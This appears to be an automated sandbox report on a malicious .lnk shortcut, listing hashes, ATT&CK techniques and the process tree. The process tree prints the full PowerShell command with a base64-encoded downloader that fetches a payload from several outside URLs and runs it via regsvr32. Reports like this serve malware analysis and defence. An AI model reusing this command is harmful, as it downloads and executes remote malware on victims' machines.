8c64bf50cb8e72573410f5f1de98f09c2b5c68259b1d5f011767ab14deb12a65

Analysis

max time kernel
95s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
13/11/2024, 12:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
8c64bf50cb8e72573410f5f1de98f09c2b5c68259b1d5f011767ab14deb12a65.lnk
Size 2KB
Sample241113-ppnhsascqj
SHA256 8c64bf50cb8e72573410f5f1de98f09c2b5c68259b1d5f011767ab14deb12a65
MD5 3f5407d2284df359905f02e787aa01c8
SHA1 48f1857a214b207ed3209e02c99d07a35526e901
SHA512 e9d1603ab6f8464668aa06852287f988d9c6dae618eaaa1db335ae93411156f0b20798af648cad2e8c89b1f3d69d0f42a31d8fee690e262a00fb22af444cd658
MD5 SHA1 SHA512

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 8 IoCs

flow	pid	Process
11	220	powershell.exe
16	220	powershell.exe
25	220	powershell.exe
27	220	powershell.exe
30	220	powershell.exe
32	220	powershell.exe
48	220	powershell.exe
49	220	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4740	powershell.exe
220	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4740	powershell.exe
4740	powershell.exe
220	powershell.exe
220	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4740	powershell.exe
Token: SeDebugPrivilege	220	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4604 wrote to memory of 4740	4604	cmd.exe	86
PID 4604 wrote to memory of 4740	4604	cmd.exe	86
PID 4740 wrote to memory of 220	4740	powershell.exe	88
PID 4740 wrote to memory of 220	4740	powershell.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\8c64bf50cb8e72573410f5f1de98f09c2b5c68259b1d5f011767ab14deb12a65.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "Rechnungs-Details 2022.26.04_1249.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cHM6Ly9rdXBvbmRpZ2l0YWwuc3Rvcm1hcHAuaW4vbWlkby1uaWN1LzlOU1JDZlpCLyIsImh0dHA6Ly9mYXJzY2hpZC5kZS92ZXJrYXVmc2JlcmF0ZXJfc2VydmljZS91QURKdy8iLCJodHRwOi8vN2dhbGxlcnkuY29tL2JiZWF1dHlfZG93bmxvYWQvSHBPanJqRXhBYjZQWS8iLCJodHRwOi8vZTV3ZWIuY29tLmJyL3dwLWNvbnRlbnQvNFRQRFVwcGIvIiwiaHR0cHM6Ly9kd3dtYXN0ZXIuY29tL3dwLWNvbnRlbnQvdGZOczFjckhZWmQ2RjUvIiwiaHR0cDovL2NsdWJtYW5hZ2VyLm5ldC5hci9wcnVlYmEvN2xsUjlxV2ZRZHFsbkltbGlVRS8iKTtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZW52OlRFTVAvTHF3eGJQclpKei5MTW87UmVnc3ZyMzIuZXhlICRlbnY6VEVNUC9McXd4YlByWkp6LkxNbzticmVha30gY2F0Y2ggeyB9fQ==')) > "C:\Users\Admin\AppData\Local\Temp\sNhYaMMPOU.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\sNhYaMMPOU.ps1"; Remove-Item "$e
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4740
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\sNhYaMMPOU.ps1
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 695a48145171a84d61778fe33c410d3195109c7c59a2b1038a1f3ca14c52a3ed
MD5 0ab03b4ab0ee8273a1eea28cef1ca1e7
SHA1 8a305ca40e71bd2b04b20c65e28730e3ff3f50b2
SHA512 7347810d3c514b343def26aa42e4b758fc1cdd8a9e57c529de49615b995c8c1dab942d83d432a5ee6e022bbefd020d6b1d920ffa61a9ca2617ff8b67ce3c4f72
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_xgsz05bq.s2e.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xgsz05bq.s2e.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

sNhYaMMPOU.ps1

Path C:\Users\Admin\AppData\Local\Temp\sNhYaMMPOU.ps1
Size 974B
SHA256 750b087ab0fbf4ffb077d571b2c4ff776ccbc17e043beb80dcf63f919fb2b9f2
MD5 80bbc5429910a67fdbbd22941e33b2b1
SHA1 ad9daf9fcb9e16a9cc2dc62a531dd4586561e935
SHA512 cac158e88145753df2efca305605fead81d9aaaec0221580103364f521f9e99e87aa4cff6568c0f81a018d9d893d5041046f9528871c76df377b084fdfa584f0
MD5 SHA1 SHA512

Submit Download

memory/220-28-0x000001E472720000-0x000001E472EC6000-memory.dmp

Download

memory/4740-16-0x00007FFEA9B60000-0x00007FFEAA621000-memory.dmp

Download

memory/4740-2-0x00007FFEA9B63000-0x00007FFEA9B65000-memory.dmp

Download

memory/4740-15-0x00007FFEA9B60000-0x00007FFEAA621000-memory.dmp

Download

memory/4740-14-0x00007FFEA9B60000-0x00007FFEAA621000-memory.dmp

Download

memory/4740-30-0x00007FFEA9B63000-0x00007FFEA9B65000-memory.dmp

Download

memory/4740-31-0x00007FFEA9B60000-0x00007FFEAA621000-memory.dmp

Download

memory/4740-13-0x00007FFEA9B60000-0x00007FFEAA621000-memory.dmp

Download

memory/4740-12-0x000001FA43EE0000-0x000001FA43F02000-memory.dmp

Download

memory/4740-40-0x00007FFEA9B60000-0x00007FFEAA621000-memory.dmp

Download